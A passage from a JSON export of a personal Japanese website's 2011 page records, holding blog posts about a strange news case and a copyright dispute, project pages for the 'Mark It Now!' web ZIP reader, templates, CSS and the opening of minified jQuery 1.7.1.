産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101920020021-n1.htm)\r\n\r\n\u003e「上野さん方に侵入したところ、上野さんに見つかり捕まった。すきをみて逃げた」と容疑を認めているという。上野さんは病死だった。\r\n\r\nかなり衝撃的な真相ですね。まとめると\r\n\r\n上野さんの家に男が忍びこむ -\u003e 上野さんが捕まえて縛りあげる -\u003e 男を縛って見張っていた上野さんいきなり病死 -\u003e 郵便配達の人がそれを目撃して警察に通報 -\u003e 縛られていた人は上野さんが死んだので逃げる -\u003e 警察が来たころには縛られた人逃げていた\r\n\r\nということのようです、まとめても意味不明。近年稀に見る怪事件。\r\n\r\n### 付録. 見出しまとめ\r\n近年稀にみるこの怪事件、新聞各社の記者、編集者も困惑していたようで、訳の分からない見出しが量産されました。そのまとめです。\r\n\r\n- [益子で男性1人変死 別の男性立ち去る - 下野新聞](http://www.shimotsuke.co.jp/news/tochigi/top/news/20111019/638927) \r\n - 第一報、既に意味不明\r\n- [栃木、住宅の庭で男性変死 そばに居た男立ち去る - 共同通信](http://www.47news.jp/CN/201110/CN2011101901000275.html)\r\n- [庭で男性倒れ死亡、地面に仰向けの男性立ち去る - 下野新聞](http://www.47news.jp/news/2011/10/post_20111019122349.html)\r\n- [変死:男を取り押さえた?60歳男性 男は逃走 栃木](http://mainichi.jp/select/jiken/news/20111019k0000e040061000c.html) \r\n - 倒れていた男性が縛られていたことが分かり混乱がはじまる\r\n- [60歳変死、下半身縛られた男性が立ち去る - 日刊スポーツ](http://www.nikkansports.com/general/news/f-gn-tp0-20111019-852018.html)\r\n- [新聞配達員は見ていた! 栃木の民家で立っていた男性死亡、縛られたあおむけの男性立ち去る - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101911280006-n1.htm) \r\n - 大変話題になった記事。実のところ事実が淡々と記された見出しなのだが最早全く意味不明\r\n- [栃木で男性変死、脇で足縛られた男性は立ち去る - 読売新聞](http://www.yomiuri.co.jp/national/news/20111019-OYT1T00397.htm)\r\n- [自宅庭で男性変死 栃木、男が立ち去る - 日経新聞](http://www.nikkei.com/news/category/article/g=96958A9C93819695E3EBE2E3E68DE3EBE3E2E0E2E3E39191E2E2E2E2;at=DGXZZO0195583008122009000000) \r\n - 意味不明な部分はカットするという判断\r\n- [庭先で男性変死 近くに足を縛られた男性→姿消す - テレビ朝日](http://www.tv-asahi.co.jp/ann/news/web/html/211019028.html)\r\n- [男性倒れ死亡、縛られた男性いなくなる - TBS](http://www.youtube.com/watch?v=Vir_b3jsR_w\u0026hd=1)\r\n- [新聞配達員の前で男性が倒れ、死亡 栃木 (栃木県)- 日本テレビ](http://news24.jp/nnn/news89023550.html) \r\n - 縛られた男性を無視する事例\r\n- [「侵入し捕まったが逃げた」 栃木県警が男を逮捕 死亡男性宅庭先から消えた“縛られた男”事件 -産経新聞 ](http://sankei.jp.msn.com/affairs/news/111019/ccm11101920020021-n1.htm)\r\n - そして明かされる真相。一番気合を入れた見出しを発表した産経新聞は気合いをいれた真相報道の記事を書いてくれた。しかし真相の記事も見出しは全く意味不明\r\n\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n","created_at":"2011-10-19T13:57:36.000Z","updated_at":"2011-10-19T13:57:36.000Z"},{"id":1931,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h2 ssig33.com - recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=post.name\r\n %span.lightgray\r\n updated at:\r\n =post.updated_at.getutc\r\n %br\r\n %p\r\n %a{href: \"/\"} Go to Top Page","created_at":"2011-10-22T07:29:13.000Z","updated_at":"2011-10-22T07:29:13.000Z"},{"id":1932,"name":"ソラノート揉め事 2011 年 11 月版","body":"# 最新のソラノートに関する揉め事情報です\r\n## 概要\r\nソラノートが他人の書籍勝手に使って配信やって、著者がキレて連絡したらノーリアクション。\r\n\r\n## 用語 \r\n* 湯呑氏\r\n * 諸事情で本名秘匿。ソラノートとモメてる人。奥さんが湯呑をケツに入れた人を治療したことがあるので湯呑氏と一部から呼ばれている。プログラマー。 MT カスタマイズや iPhone アプリ開発で単著あり。著名な Twitter クライアントの作者。\r\n* ソラノート\r\n * 糞\r\n\r\n以下湯呑氏が facebook で公開している情報です。面白そうなので個人情報とか隠して勝手に放流します。一方の当事者のみからの情報である点に注意してください。また何の関係の無い人が勝手に流している情報である点にも注意してください。\r\n\r\n## タイムライン\r\n1. ソラノートが湯呑氏の書籍とサンプルコードを引用して iPhone アプリ開発の演習を[配信](http://libub.jp/?prm=332)\r\n2. 湯呑氏と出版社が抗議\r\n3. ソラノート微妙に隠蔽工作をしつつ配信を普通に続行\r\n * サンプルコードへのリンクを消したり。\r\n4. 湯呑氏ぶちキレて facebook で発言。","created_at":"2011-11-02T06:17:47.000Z","updated_at":"2011-11-02T06:17:47.000Z"},{"id":1933,"name":"ソラノート揉め事 2011 年 11 月版","body":"[back to the top](/)\r\n# 最新のソラノートに関する揉め事情報です\r\n## 概要\r\nソラノートが他人の書籍勝手に使って配信やって、著者がキレて連絡したらノーリアクション。\r\n\r\n## 用語 \r\n* 湯呑氏\r\n * 諸事情で本名秘匿。ソラノートとモメてる人。奥さんが湯呑をケツに入れた人を治療したことがあるので湯呑氏と一部から呼ばれている。プログラマー。 MT カスタマイズや iPhone アプリ開発で単著あり。著名な Twitter クライアントの作者。\r\n* ソラノート\r\n * 糞\r\n\r\n以下湯呑氏が facebook で公開している情報です。面白そうなので個人情報とか隠して勝手に放流します。一方の当事者のみからの情報である点に注意してください。また何の関係の無い人が勝手に流している情報である点にも注意してください。\r\n\r\n## タイムライン\r\n1. ソラノートが湯呑氏の書籍とサンプルコードを引用して iPhone アプリ開発の演習を[配信](http://libub.jp/?prm=332)\r\n2. 湯呑氏と出版社が抗議\r\n3. ソラノート微妙に隠蔽工作をしつつ配信を普通に続行\r\n * サンプルコードへのリンクを消したり。\r\n4. 湯呑氏ぶちキレて facebook で発言。\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-11-02T06:18:15.000Z","updated_at":"2011-11-02T06:18:15.000Z"},{"id":1934,"name":"Mark It Now!","body":"あとで書く","created_at":"2011-11-05T07:45:29.000Z","updated_at":"2011-11-05T07:45:29.000Z"},{"id":1935,"name":"Mark It Now!","body":"[back to the top](/)\r\n# Mark It Now!\r\n## Zip Reader On Web Browser\r\n\u003ciframe width=\"560\" height=\"315\" src=\"http://www.youtube.com/embed/Be_GUBxdxpo\" frameborder=\"0\" allowfullscreen\u003e\u003c/iframe\u003e\r\n\r\nMark It Now! はブラウザ上で動作する ZIP リーダーです。 ScanSnap などを使って作成した電子書籍を読むことを目的とています。 ComicGlass 等に似たアプリケーションです。\r\n\r\n現在 [github](https://github.com/ssig33/Mark-It-now/) で公開されています。\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-11-05T09:05:26.000Z","updated_at":"2011-11-05T09:05:26.000Z"},{"id":1936,"name":"Mark It Now!","body":"[back to the top](/)\r\n# Mark It Now!\r\n## Zip Reader On Web Browser\r\n\u003ciframe width=\"560\" height=\"315\" src=\"http://www.youtube.com/embed/Be_GUBxdxpo\" frameborder=\"0\" allowfullscreen\u003e\u003c/iframe\u003e\r\n\r\n[github](https://github.com/ssig33/Mark-It-now/)\r\n\r\nMark It Now! はブラウザ上で動作する ZIP リーダーです。 ScanSnap などを使って作成した電子書籍を読むことを目的とています。 ComicGlass 等に似たアプリケーションです。\r\n\r\n## 特徴\r\n### Web アプリケーション\r\n先に貼られた動画を見てみてください。 Mark It Now! はまるでローカルアプリケーションであるかのように快適に動作します。しかしブラウザ上で動く Web アプリケーションです。よって以下のような利点があります。\r\n\r\n#### マルチプラットフォーム\r\nモダンブラウザのある環境であればどこでも同じように使用することが出来ます。開発時には\r\n\r\n- Google Chrome\r\n- Firefox\r\n- iPad\r\n- iPhone\r\n- Windows Phone\r\n- Android\r\n\r\nで動作を確認しています。つまり事実上殆ど全ての近代的なコンピューターで動作させることが出来ます。\r\n\r\n#### 読書の継続\r\nComicGlass や i文庫 のような先行する技術では、読書体験は一つのデバイスに限定されてしまいます。最近読んだ本やしおりなどの情報はデバイス間で共有されません。\r\n\r\nしかし Web アプリケーションであり、最近読んだ本やしおりの情報をサーバーで管理する Mark It Now! であれば、読書体験はデバイスの壁を越え、今あなたの手元にあるデバイスで、読書を継続することが出来ます。\r\n\r\n#### 容量の制限無し\r\niPad で動作するアプリケーションや Kindle などのデバイスでは、デバイスのメモリ以上の本を持ち歩くことが出来ません。これらのデバイスのメモリは実際大変に乏しく(精々数十 GB)多数の書籍を持っている場合実際のところ全く問題になりません。\r\n\r\nMark It Now! はサーバーに置いた書籍を表示するソフトウェアなので、こうした問題はありません。 HDD は極めて安価です。また本を読む際にいちいちデバイスに転送する必要もありません。\r\n\r\n#### 快適な読書\r\nネットワークに繋がっている限り、 Mark It Now! は極めて快適な読書体験を保証します。画面回転への対応、見開き表示、見開き位置の変更、綴じ方向の変更、といった基本的な機能は全てカヴァーされています。\r\n\r\n検索エンジン Groonga を採用し、インクリメンタルサーチによってきわめて簡単に、素早く読む書籍を選択することが出来ます。またタッチスクリーンを採用したデバイスではスワイプによりページを送ることが出来ますし、キーボードを搭載したデバイスであれば j と k のキーを使用してページ送りが可能です。\r\n\r\n### 自由なソフトウェア\r\nMark It Now! は AGPL でライセンスされた自由なソフトウェアです。独占的プラットフォームの影響を受けずに使用することが出来ます。\r\n\r\n## インストールとデプロイ\r\nRuby 1.9.2 と groonga に依存しています。詳細は後で書く。\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-11-05T09:23:30.000Z","updated_at":"2011-11-05T09:23:30.000Z"},{"id":1937,"name":"Mark It Now","body":"\u003cscript type=\"text/javascript\"\u003e\r\nlocation.replace('http://bit.ly/uHutFg')\r\n\u003c/script\u003e","created_at":"2011-11-05T09:31:33.000Z","updated_at":"2011-11-05T09:31:33.000Z"},{"id":1938,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\na{ color:blue; }\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\nspan.none{display:none}\r\na{color:grey}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2011-11-05T09:53:17.000Z","updated_at":"2011-11-05T09:53:17.000Z"},{"id":1939,"name":"Mark It Now!","body":"[back to the top](/)\r\n# Mark It Now!\r\n## Zip Reader On Web Browser\r\n\u003ciframe width=\"560\" height=\"315\" src=\"http://www.youtube.com/embed/Be_GUBxdxpo\" frameborder=\"0\" allowfullscreen\u003e\u003c/iframe\u003e\r\n\r\n[github](https://github.com/ssig33/Mark-It-now/)\r\n\r\nMark It Now! はブラウザ上で動作する ZIP リーダーです。 ScanSnap などを使って作成した電子書籍を読むことを目的とています。 ComicGlass 等に似たアプリケーションです。\r\n\r\n## 特徴\r\n### Web アプリケーション\r\n先に貼られた動画を見てみてください。 Mark It Now! はまるでローカルアプリケーションであるかのように快適に動作します。しかしブラウザ上で動く Web アプリケーションです。よって以下のような利点があります。\r\n\r\n#### マルチプラットフォーム\r\nモダンブラウザのある環境であればどこでも同じように使用することが出来ます。開発時には\r\n\r\n- Google Chrome\r\n- Firefox\r\n- iPad\r\n- iPhone\r\n- Windows Phone\r\n- Android\r\n\r\nで動作を確認しています。つまり事実上殆ど全ての近代的なコンピューターで動作させることが出来ます。\r\n\r\n#### 読書の継続\r\nComicGlass や i文庫 のような先行する技術では、読書体験は一つのデバイスに限定されてしまいます。最近読んだ本やしおりなどの情報はデバイス間で共有されません。\r\n\r\nしかし Web アプリケーションであり、最近読んだ本やしおりの情報をサーバーで管理する Mark It Now! であれば、読書体験はデバイスの壁を越え、今あなたの手元にあるデバイスで、読書を継続することが出来ます。\r\n\r\n#### 容量の制限無し\r\niPad で動作するアプリケーションや Kindle などのデバイスでは、デバイスのメモリ以上の本を持ち歩くことが出来ません。これらのデバイスのメモリは実際大変に乏しく(精々数十 GB)多数の書籍を持っている場合実際のところ全く問題になりません。\r\n\r\nMark It Now! はサーバーに置いた書籍を表示するソフトウェアなので、こうした問題はありません。 HDD は極めて安価です。また本を読む際にいちいちデバイスに転送する必要もありません。\r\n\r\n#### 快適な読書\r\nネットワークに繋がっている限り、 Mark It Now! は極めて快適な読書体験を保証します。画面回転への対応、見開き表示、見開き位置の変更、綴じ方向の変更、といった基本的な機能は全てカヴァーされています。\r\n\r\n検索エンジン Groonga を採用し、インクリメンタルサーチによってきわめて簡単に、素早く読む書籍を選択することが出来ます。またタッチスクリーンを採用したデバイスではスワイプによりページを送ることが出来ますし、キーボードを搭載したデバイスであれば j と k のキーを使用してページ送りが可能です。\r\n\r\n### 自由なソフトウェア\r\nMark It Now! は AGPL でライセンスされた自由なソフトウェアです。独占的プラットフォームの影響を受けずに使用することが出来ます。\r\n\r\n## インストールとデプロイ\r\nRuby 1.9.3 と groonga に依存しています。詳細は後で書く。\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-11-08T07:36:31.000Z","updated_at":"2011-11-08T07:36:31.000Z"},{"id":1940,"name":"facebookひどい","body":"# Facebook がひどい\r\nサードパーティの Cookie を送信もブロックすると facebook の like ボタンこうなります\r\n\r\n\u003cvideo src=\"/facebook.ogv\" controls=\"controls\"\u003e\u003c/video\u003e\r\n","created_at":"2011-11-18T03:15:49.000Z","updated_at":"2011-11-18T03:15:49.000Z"},{"id":1941,"name":"facebookひどい","body":"[back to the top](/)\r\n# Facebook がひどい\r\nサードパーティの Cookie を送信もブロックすると facebook の like ボタンこうなります\r\n\r\n\u003cvideo src=\"/facebook.ogv\" controls=\"controls\"\u003e\u003c/video\u003e\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-11-18T03:18:54.000Z","updated_at":"2011-11-18T03:18:54.000Z"},{"id":1942,"name":"facebookひどい","body":"[back to the top](/)\r\n# Facebook がひどい\r\nサードパーティの Cookie を送信もブロックすると facebook の like ボタンこうなります\r\n\r\n\u003cvideo src=\"/facebook.ogv\" controls=\"controls\" autoplay\u003e\u003c/video\u003e\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-11-18T09:58:30.000Z","updated_at":"2011-11-18T09:58:30.000Z"},{"id":1943,"name":"message","body":"title 金くれ創始者小池陸からのメッセージをお読みください\r\n![金くれ](http://ssig33.com/data/2d7bbb62eb930907815114de063f39e6.png)\r\n\r\n# 金くれ!!\r\n\r\n# 三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク \r\n\r\n# [はてなポイントくれ!!](http://www.hatena.ne.jp/sendpoint?name=ssig33)\r\n\r\n![ミル貝](http://ssig33.com/data/bd8318cec7e6b1b12cb25cfaf09083cb.jpg)","created_at":"2011-11-20T14:39:38.000Z","updated_at":"2011-11-20T14:39:38.000Z"},{"id":1944,"name":"jquery.js","body":"raw\nmime js\n/*! jQuery v1.7.1 jquery.com | jquery.org/license */\n(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f(\"\u003c\"+a+\"\u003e\").appendTo(b),e=d.css(\"display\");d.remove();if(e===\"none\"||e===\"\"){cl||(cl=c.createElement(\"iframe\"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode===\"CSS1Compat\"?\"\u003c!doctype html\u003e\":\"\")+\"\u003chtml\u003e\u003cbody\u003e\"),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,\"display\"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter\u0026\u0026(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g\u003ci;g++){if(g===1)for(h in a.converters)typeof h==\"string\"\u0026\u0026(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k===\"*\")k=l;else if(l!==\"*\"\u0026\u0026l!==k){m=l+\" \"+k,n=e[m]||e[\"* \"+k];if(!n){p=b;for(o in e){j=o.split(\" \");if(j[0]===l||j[0]===\"*\"){p=e[j[1]+\" \"+k];if(p){o=e[o],o===!0?n=p:p===!0\u0026\u0026(n=o);break}}}}!n\u0026\u0026!p\u0026\u0026f.error(\"No conversion from \"+m.replace(\" \",\" to \")),n!==!0\u0026\u0026(c=n?n(c):p(o(c)))}}return c}function cb(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d\u0026\u0026(c[g[i]]=d[i]);while(f[0]===\"*\")f.shift(),h===b\u0026\u0026(h=a.mimeType||c.getResponseHeader(\"content-type\"));if(h)for(i in e)if(e[i]\u0026\u0026e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+\" \"+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]\u0026\u0026f.unshift(j);return d[j]}}function ca(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bE.test(a)?d(a,e):ca(a+\"[\"+(typeof e==\"object\"||f.isArray(e)?b:\"\")+\"]\",e,c,d)});else if(!c\u0026\u0026b!=null\u0026\u0026typeof b==\"object\")for(var e in b)ca(a+\"[\"+e+\"]\",b[e],c,d);else d(a,b)}function b_(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b\u0026\u0026((g[d]?a:e||(e={}))[d]=c[d]);e\u0026\u0026f.extend(!0,a,e)}function b$(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bT,l;for(;i\u003cj\u0026\u0026(k||!l);i++)l=h[i](c,d,e),typeof l==\"string\"\u0026\u0026(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=b$(a,c,d,e,l,g)));(k||!l)\u0026\u0026!g[\"*\"]\u0026\u0026(l=b$(a,c,d,e,\"*\",g));return l}function bZ(a){return function(b,c){typeof b!=\"string\"\u0026\u0026(c=b,b=\"*\");if(f.isFunction(c)){var d=b.toLowerCase().split(bP),e=0,g=d.length,h,i,j;for(;e\u003cg;e++)h=d[e],j=/^\\+/.test(h),j\u0026\u0026(h=h.substr(1)||\"*\"),i=a[h]=a[h]||[],i[j?\"unshift\":\"push\"](c)}}}function bC(a,b,c){var d=b===\"width\"?a.offsetWidth:a.offsetHeight,e=b===\"width\"?bx:by,g=0,h=e.length;if(d\u003e0){if(c!==\"border\")for(;g\u003ch;g++)c||(d-=parseFloat(f.css(a,\"padding\"+e[g]))||0),c===\"margin\"?d+=parseFloat(f.css(a,c+e[g]))||0:d-=parseFloat(f.css(a,\"border\"+e[g]+\"Width\"))||0;return d+\"px\"}d=bz(a,b,b);if(d\u003c0||d==null)d=a.style[b]||0;d=parseFloat(d)||0;if(c)for(;g\u003ch;g++)d+=parseFloat(f.css(a,\"padding\"+e[g]))||0,c!==\"padding\"\u0026\u0026(d+=parseFloat(f.css(a,\"border\"+e[g]+\"Width\"))||0),c===\"margin\"\u0026\u0026(d+=parseFloat(f.css(a,c+e[g]))||0);return d+\"px\"}function bp(a,b){b.src?f.ajax({url:b.src,async:!1,dataType:\"script\"}):f.globalEval((b.text||b.textContent||b.innerHTML||\"\").replace(bf,\"/*$0*/\")),b.parentNode\u0026\u0026b.parentNode.removeChild(b)}function bo(a){var b=c.createElement(\"div\");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||\"\").toLowerCase();b===\"input\"?bm(a):b!==\"script\"\u0026\u0026typeof a.getElementsByTagName!=\"undefined\"\u0026\u0026f.grep(a.getElementsByTagName(\"input\"),bm)}function bm(a){if(a.type===\"checkbox\"||a.type===\"radio\")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!=\"undefined\"?a.getElementsByTagName(\"*\"):typeof a.querySelectorAll!=\"undefined\"?a.querySelectorAll(\"*\"):[]}function bk(a,b){var c;if(b.nodeType===1){b.clearAttributes\u0026\u0026b.clearAttributes(),b.mergeAttributes\u0026\u0026b.mergeAttributes(a),c=b.nodeName.toLowerCase();if(c===\"object\")b.outerHTML=a.outerHTML;else if(c!==\"input\"||a.type!==\"checkbox\"\u0026\u0026a.type!==\"radio\"){if(c===\"option\")b.selected=a.defaultSelected;else if(c===\"input\"||c===\"textarea\")b.defaultValue=a.defaultValue}else a.checked\u0026\u0026(b.defaultChecked=b.checked=a.checked),b.value!==a.value\u0026\u0026(b.value=a.value);b.removeAttribute(f.expando)}}function bj(a,b){if(b.nodeType===1\u0026\u0026!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d\u003ce;d++)f.event.add(b,c+(i[c][d].namespace?\".\":\"\")+i[c][d].namespace,i[c][d],i[c][d].data)}h.data\u0026\u0026(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,\"table\")?a.getElementsByTagName(\"tbody\")[0]||a.appendChild(a.ownerDocument.createElement(\"tbody\")):a}function U(a){var b=V.split(\"|\"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b==\"string\"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)\u003e=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+\"defer\",e=b+\"queue\",g=b+\"mark\",h=f._data(a,d);h\u0026\u0026(c===\"queue\"||!f._data(a,e))\u0026\u0026(c===\"mark\"||!f._data(a,g))\u0026\u0026setTimeout(function(){!f._data(a,e)\u0026\u0026!f._data(a,g)\u0026\u0026(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b===\"data\"\u0026\u0026f.isEmptyObject(a[b]))continue;if(b!==\"toJSON\")return!1}return!0}function l(a,c,d){if(d===b\u0026\u0026a.nodeType===1){var e=\"data-\"+c.replace(k,\"-$1\").toLowerCase();d=a.getAttribute(e);if(typeof d==\"string\"){try{d=d===\"true\"?!0:d===\"false\"?!1:d===\"null\"?null:f.isNumeric(d)?parseFloat(d):j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\\s+/);for(c=0,d=a.length;c\u003cd;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll(\"left\")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#\u003c]*(\u003c[\\w\\W]+\u003e)[^\u003e]*$|#([\\w\\-]*)$)/,j=/\\S/,k=/^\\s+/,l=/\\s+$/,m=/^\u003c(\\w+)\\s*\\/?\u003e(?:\u003c\\/\\1\u003e)?$/,n=/^[\\],:{}\\s]*$/,o=/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,q=/(?:^|:|,)(?:\\s*\\[)+/g,r=/(webkit)[ \\/]([\\w.]+)/,s=/(opera)(?:.*version)?[ \\/]([\\w.]+)/,t=/(msie) ([\\w.]+)/,u=/(mozilla)(?:.*? rv:([\\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+\"\").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a===\"body\"\u0026\u0026!d\u0026\u0026c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a==\"string\"){a.charAt(0)!==\"\u003c\"||a.charAt(a.length-1)!==\"\u003e\"||a.length\u003c3?g=i.exec(a):g=[null,a,null];if(g\u0026\u0026(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h\u0026\u0026h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b\u0026\u0026(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:\"\",jquery:\"1.7.1\",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a\u003c0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b===\"find\"?d.selector=this.selector+(this.selector?\" \":\"\")+c:b\u0026\u0026(d.selector=this.selector+\".\"+b+\"(\"+c+\")\");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),\"slice\",F.call(arguments).join(\",\"))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i==\"boolean\"\u0026\u0026(l=i,i=arguments[1]||{},j=2),typeof i!=\"object\"\u0026\u0026!e.isFunction(i)\u0026\u0026(i={}),k===j\u0026\u0026(i=this,--j);for(;j\u003ck;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l\u0026\u0026f\u0026\u0026(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d\u0026\u0026e.isArray(d)?d:[]):h=d\u0026\u0026e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b\u0026\u0026(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e\u0026\u0026(a.$=g),b\u0026\u0026a.jQuery===e\u0026\u0026(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0\u0026\u0026!--e.readyWait||a!==!0\u0026\u0026!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0\u0026\u0026--e.readyWait\u003e0)return;A.fireWith(c,[e]),e.fn.trigger\u0026\u0026e(c).trigger(\"ready\").off(\"ready\")}},bindReady:function(){if(!A){A=e.Callbacks(\"once memory\");if(c.readyState===\"complete\")return 